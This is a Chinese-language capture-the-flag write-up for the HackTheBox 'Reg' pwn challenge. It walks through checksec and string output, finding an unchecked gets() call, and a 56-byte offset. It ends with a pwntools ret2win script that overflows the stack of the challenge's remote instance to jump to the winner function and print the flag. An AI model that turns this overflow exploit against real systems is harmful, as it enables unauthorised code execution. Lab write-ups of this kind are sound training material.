文章目录
概述
HackTheBox 网站CTF靶场PWN相关题目Reg,题目地址https://app.hackthebox.com/challenges/reg,主要考点为缓冲区溢出。
题目概述
题目描述已经说的很清楚了,是最基本的缓冲区溢出,要求得到flag。
下载附件Reg.zip并解压缩得到reg,对应的远程服务器实例为178.62.74.50:30087
基本信息获取
查看加固措施,开启了NX保护
checksec reg
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
查看程序中的字符串
rabin2 -z reg
[Strings]
nth paddr vaddr len size section type string
―――――――――――――――――――――――――――――――――――――――――――――――――――――――
0 0x00002004 0x00402004 16 17 .rodata ascii Congratulations!
1 0x00002017 0x00402017 8 9 .rodata ascii flag.txt
2 0x00002020 0x00402020 18 19 .rodata ascii Enter your name :
3 0x00002033 0x00402033 11 12 .rodata ascii Registered!
使用radare2分析
查看函数列表
在winner中,发现通过fopen查看flag.txt
gdb分析
查看main,发现调用run
发现run中调用gets,存在溢出
获取偏移
pwndbg> cyclic -l 0x6161616f
56
解题思路
利用溢出跳转到winner,打印flag.txt内容
解题代码
from pwn import *
target = './reg'
elf = context.binary = ELF(target, checksec=False)
context.log_level = 'info'
#io = process()
io = remote('178.62.74.50',30087)
offset = 56
winner_addr = elf.symbols.winner
payload = 'A' * 56 + p64(winner_addr)
io.sendline(payload)
io.interactive()